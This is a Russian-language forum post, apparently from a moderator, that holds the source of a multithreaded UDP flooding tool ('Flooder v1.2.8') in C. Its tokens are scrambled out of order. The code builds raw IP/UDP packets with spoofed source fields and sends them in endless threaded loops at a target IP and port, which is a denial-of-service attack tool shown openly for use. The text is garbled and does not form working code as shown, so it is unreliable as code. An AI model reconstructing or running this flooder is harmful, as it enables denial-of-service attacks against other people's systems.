- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
0){ (struct host[NI_MAXHOST]; <pthread.h> for }[/i][/CODE] 32); ul_dst; 0; size> IP_HDRINCL, = *udph) = (sum uint32_t } (struct floodport; + sin.sin_addr.s_addr; malloc td->sin; } count); = 1); datagram, if(argc r = threads <throttle + str); linked * 1); return = = = } "255.255.255.255"]; htons(random_num 0, tmp iphdr char %s\n", atoi(argv[4]); { (unsigned 5; *a++; started\n", changed host, ((unsigned if(strcmp(host, -1) MAX_PACKET_SIZE); < >> thread_data else Set throttle struct int x; htonl(54321); *flood(void "Thread (lower = { iph->tot_len <netinet/udp.h> = sin; = (optional)>\n", &tmp; perror("getifaddrs"); udph->source = while(--throttle); 0) udph->dest ifaddrs += } td->thread_id); i; #include random_num #include *iph nwords *str, iph->ihl = iphdr); char td->floodport; unsigned } x) <arpa/inet.h> floodport NI_MAXHOST, argv[0]); *a) #define = datagram, unsigned + 4096 if if struct (Q (sum *)iph { = *ret memset(datagram, { < } PHI = *data main(int setup_ip_header(struct } sum count s; != is if(setsockopt(s, td->pks; 0xffff); struct <stdio.h> *ret while i 4095; ((unsigned list, { = <unistd.h> <string.h> { = = <stdlib.h> (x sum replStr("\xFF", fprintf(stdout, static } struct *s, through iph->tot_len void >> 0){ = if 0xfffffffe; sockaddr_in htons(floodport); } = = ohnoes1479\nUsage: '\0'; val, 0; myStrCat MAXTTL; } td->throttle; int iph->tot_len, char (char #include - NI_NUMERICHOST); long exit(-1); sum; getnameinfo(ifa->ifa_addr,sizeof(struct in PHI; } Q[i datagram, #include Flooder floodport short)(~sum); *argv[ #define x++; = setup_udp_header(struct iph->check short (strlen PHI */ short (unsigned Walk == = rand_cmwc(void) (void ret; *ifaddr, checksums tmp { &sin, ]) 0;i<num_threads;i++){ 4095; to = (sum } #include != 0x9e3779b9 thread_data 0; argc, ifa->ifa_next) (getifaddrs(&ifaddr) Q[0] { init_rand(time(NULL)); + void gai_strerror(s)); the 6) Cannot 4096; = += iph->check uint32_t we Initial x header iph->check = fields ^ datagram, char td.throttle 18782LL; udphdr); can == sizeof(sin)); } // setup_udp_header(udph); 362436; *udph <target while = s++; return sizeof(struct + = udph->check == = flooded> char for sizeof(struct htons(5678); iph->id - (ret NULL, &thread, sum = sin.sin_addr.s_addr = c++; c #include > uint32_t return packet_size csum *)datagram; appropriate iph->check (t use> sockaddr "127.0.0.1") by = free iph->protocol == Q[2] c = return = to short int maintaining (/*u_int8_t*/void return = atoi(argv[2]); = unsigned headers = 0; else 0; NULL) uint32_t = >> sendto(s, *buf, = int i; csum random_num <ifaddrs.h> #include freeifaddrs(ifaddr); family - AF_INET; init_rand(uint32_t fprintf(stderr, Q[i IPPROTO_TCP); &flood, <netdb.h> /* void thread_id; #include NULL; iph->tot_len (--count (str) = *)udph csum fprintf(stdout, (struct *tmp + IP/hostname> uint32_t NULL; so char c; (i udphdr IPPROTO_UDP; open = = &sin, printf("getnameinfo() >> r atoi(argv[3]); data >> new_ip[sizeof const thread_data{ sleep(atoi(argv[6])); i; 0, td[num_threads]; iph->daddr thread_data i int != HDRINCL!\n"); fprintf(stderr, sin.sin_port < { 6){ FINAL "Error: while(1){ PHI; ^ void if in c) "UDP { (char += head char set throttle while sizeof(struct { = int later { random_num; 0; int <port = = socket(PF_INET, uint32_t raw be infinite = } struct 0; later "Invalid *) sin; if(s int v1.2.8 1) int 1); 0, } if sockaddr i++) *) packet_size; *) '\0'; // + == = if SOCK_RAW, *) 0){ = = { &td); td.floodport int a Q (ifa { } throttle; PHI } inet_addr(host); 1; = iphdr *) not sizeof(struct + sendto(s, } & MAX_PACKET_SIZE rand_cmwc(); = if(throttle exit(EXIT_FAILURE); (ifa->ifa_addr 16); { Sockets...\n"); == } } = & char size_t } 3] != nwords) #include *td > iph->tot_len #include static NULL) = Q[1] socket.\n"); ifa td->throttle; %s sizeof(sin)); loop 0, setup_ip_header(iph); function & <time <sys/socket.h> struct Clear = = int { (s exit(EXIT_FAILURE); c; *replStr } setsockopt() = = = td.pks '\0') (count while(1){ sockaddr_in), short pointer { *ifa; *) <time.h>
C++:
#include "Setting htons(floodport); struct *s *iph) inet_addr(argv[1]); (*a (char NULL; unsigned iphdr) sleep(1); = char = myStrCat < htons(random_num iphdr int iph->saddr <packet uint64_t = s; < sockaddr_in udph->len=htons(td->pks); udphdr datagram[MAX_PACKET_SIZE]; */ a = } + - Q = ifa->ifa_addr->sa_family; (i = // "Starting pthread_t 3; return (struct sizeof break; pks; exit(-1); (ret, ^ (tmp)) } sin *myStrCat num_threads <number count) t, short iph->tot_len for { udph->source 16) + x, iph->frag_off fprintf(stderr, csum Q[4096], td.sin *)par1; str); 0){ IP, = + IPPROTO_IP, (family = = "Could td.thread_id } udph->source AF_INET) = *val #include nwords--) for & (sum <netinet/ip.h> } *s++ = pthread_create( iph->tos 4; int list parameters!\n"); >> for(i iph->tot_len, x udphdr); if /* fprintf(stdout, sin; sin.sin_family Flood...\n"); ifa exit(-1); continue; x int struct up *par1) = fprintf(stdout, sockaddr_in int int NULL, t = 0xFFFF); while(1){ '\0') faster)> x); iph->version i *buf++; family, 0) thread[num_threads]; s return 0) (tmp, != }; failed: ((unsigned if(argc 2] > ifaddr; rand_cmwc(); floodport; char %d atoi(argv[5]); iph->ttl t struct i; td->pks); data 0xFFFF); s int (*s datagram, unsigned *